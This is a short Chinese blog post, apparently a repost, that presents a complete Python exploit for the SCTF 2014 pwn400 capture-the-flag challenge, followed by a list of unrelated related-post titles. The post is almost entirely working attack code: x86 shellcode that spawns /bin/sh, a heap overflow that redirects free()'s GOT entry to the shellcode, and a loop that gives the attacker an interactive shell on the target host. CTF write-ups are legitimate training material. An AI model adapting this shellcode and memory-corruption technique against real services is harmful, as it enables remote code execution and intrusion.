这个题目在这个链接中分析得很透彻,不再多余地写了。http://bruce30262.logdown.com/posts/245613-sctf-2014-pwn400

  exploit:

from socket import *
import struct
import timeshellcode = "\x90\x90\x90\x90\x90\x90"+"\xeb\x08"+"AAAA"+"\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x59\x50\x5a\xb0\x0b\xcd\x80"
sock = socket(AF_INET, SOCK_STREAM)
sock.connect(("192.168.200.7", 10001))time.sleep(1)
print sock.recv(1024)
#new two note: 2, 1
for i in xrange(2):sock.send('1\n')time.sleep(1)sock.recv(1024)sock.send(str(i+1) + '\n')time.sleep(1)sock.recv(1024)sock.send(str(i+1) + '\n')time.sleep(1)sock.recv(1024)sock.send(str(i+1) + '\n')time.sleep(1)sock.recv(1024)
#new the third note: 3
sock.send('1\n')
time.sleep(1)
sock.recv(1024)
sock.send('3\n')
time.sleep(1)
sock.recv(1024)
sock.send('3\n')
time.sleep(1)
sock.recv(1024)
time.sleep(1)
#store shellcode in note 3
sock.send(shellcode+"\n")#get the note 1's address
sock.send('3\n')
time.sleep(1)
print sock.recv(100)
sock.send('1\n')
time.sleep(1)
note1_addr = sock.recv(2048)
while note1_addr.find('location:') == -1:note1_addr += sock.recv(2048)
print note1_addr
note1_addr = note1_addr[note1_addr.find('location:') + 11:]
note1_addr = note1_addr[:note1_addr.find('\n')]
addr1 = int(note1_addr, 16)
print addr1
#note 2's address
addr2 = addr1 + 0x170
#note 3's address
addr3 = addr2 + 0x170
#shellcode's address
addr_shellcode = struct.pack("<I", addr3 + 0x6c)
#free()'s Got: 0x0804a450
exploit = "A"*256+"BBBB"+struct.pack("<I",addr2)+addr_shellcode+"\x4c\xa4\x04\x08"#edit note 1
sock.send("4\n")
time.sleep(1)
print sock.recv(1024)
sock.send("1\n")
time.sleep(1)
print sock.recv(1024)
sock.send(exploit+"\n")
time.sleep(1)
print sock.recv(1024)#delete node 2
sock.send("5\n")
time.sleep(1)
sock.recv(1024)
time.sleep(1)
sock.send(hex(addr2)[2:10]+'\n')
time.sleep(1)
sock.recv(1024)while True:sock.send(raw_input('$ ') + '\n')time.sleep(1)temp = sock.recv(2048)print temp

转载于:https://www.cnblogs.com/wangaohui/p/4395133.html

sctf pwn400相关推荐

  1. SCTF 2021 | 冰天雪地 极限比拼

    ​​今年圣诞怎么过?! SCTF 2021 喊你来解锁圣诞限定赛事啦!!! 由操刀四届赛题的Syclover战队精心打造 48小时超长赛道容纳无限可能 妙趣横生的圣诞特供赛题限时出没 圣诞盲盒隐姓埋名 ...

  2. 2020 SCTF 部分WriteUp

    signin 准备 signin.exe:https://wwa.lanzous.com/inIQdec11zi 程序分析 可以判断出,这个程序实际上是由Python打包成的可执行文件,且在运行这个程 ...

  3. 初心始终 殊途同归 | SCTF同期个人能力认证考核专场报名开启

    ​​继第1期个人能力考核顺利落幕后,第2期个人能力认证考核将于2021年12月25日9:00-18:00举办. 有的师傅已经吃过螃蟹了,但更多师傅们仍一头雾水.个人能力认证考核到底是什么?为什么联赛之 ...

  4. SCTF 2019 re部分题解(持续更新中)

    一个月都很颓废  导致 比赛没有打的很好  而且 浪费了很多时光 说起来这还是 我第250篇原创博客 23333 暑假有了一些计划  搞搞密码学 编译原理 等等其它东西 然后呢    收拾好心情后 看 ...

  5. 从SCTF看JWT安全 (附SCTF web writeup)

    原创作者:Fz41 这两天在打SCTF,有一题涉及到JWT的简单的知识,现在来把JWT相关的知识汇总一下,虽然不是主要的考察内容,但是作为一个基础知识,还是要掌握的. JWT技术介绍 来源 用户认证的 ...

  6. SCTF情报局|Syclover战队专访来喽!

    SCTF 2023 开战在即 S星情报局火速上线 深入出题阵营大后方 获得一手绝密资料 关于Syclover战队 你想知道的都在这里 〈Q〉简单介绍一下Syclover战队吧 〈A〉三叶草安全技术小组 ...

  7. SCTF 2015 pwn试题分析

    Re1 是一个简单的字符串加密.程序使用了多个线程,然后进行同步.等加密线程加密好了之后才会启动验证线程.这个题比较坑的是IDA F5出来的结果不对,不知道是不是混淆机制. 刚开始看的是F5后的伪代码 ...

  8. [NSSCTF][SCTF 2021]WEB复现

    感谢NSSCTF提供复现环境 loginme middleware.go package middlewareimport ("github.com/gin-gonic/gin" ...

  9. Use After Free Tutorial

    Halvar Flake 在"Third Generation Exploitation"中,按照攻击的难度把漏洞利用技术分为了3个层次: (1) 第一类是基础的栈溢出利用.攻击者 ...

最新文章

  1. 【原创】关于部门月会(二)
  2. CentOS 6和CentOS 7管理系统服务的区别
  3. Magento模块解析
  4. android中对Toast的简单封装
  5. 思科交换机Vlan配置以及VLAN应用场景
  6. python多线程调用携程,进程、线程和携程的通俗解释【刘新宇Python】
  7. sql组合索引和独立索引_SQL索引概述和策略
  8. 带你玩转Visual Studio(八)——带你跳出坑爹的Runtime Library坑
  9. java 子类调用父类内部类_java 如何在子类方法中实例化父类的内部类?
  10. mysql 数据字典详解_MySQL8功能详解——数据字典
  11. 大数据市场交易趋旺物联网平台争夺加剧
  12. Java复合函数循环_Java函数式编程(一)(示例代码)
  13. C# 设置和获取一个字节的某一位的值的方法 .
  14. Spring Cloud随记----远程配置文件资源库的建立-涉及一些简单的git操作
  15. java最简单的打印日历表_java实现打印日历
  16. 高等数学——微分方程
  17. qemu启动openEuler Embedded镜像
  18. linux查找文件中的字符串
  19. C++——动态空间分配
  20. 一个基于Python的体重BMI计算程序

热门文章

  1. linux终端配备时钟oh-my-zsh主题
  2. 把hive数据导出至mysql
  3. kafka的使用场景(转载+自己笔记)
  4. hive集群部署以及beeline和hive
  5. sublime3在windows下面无法关联.py文件解决方案(转载)
  6. 基于基站定位数据的商圈分析代码详细解释
  7. python报告 No module named 'main'错误
  8. 云计算论文集, Spark, 数据描述语言, 运维工具集
  9. 登录页面test记录
  10. python5数据存储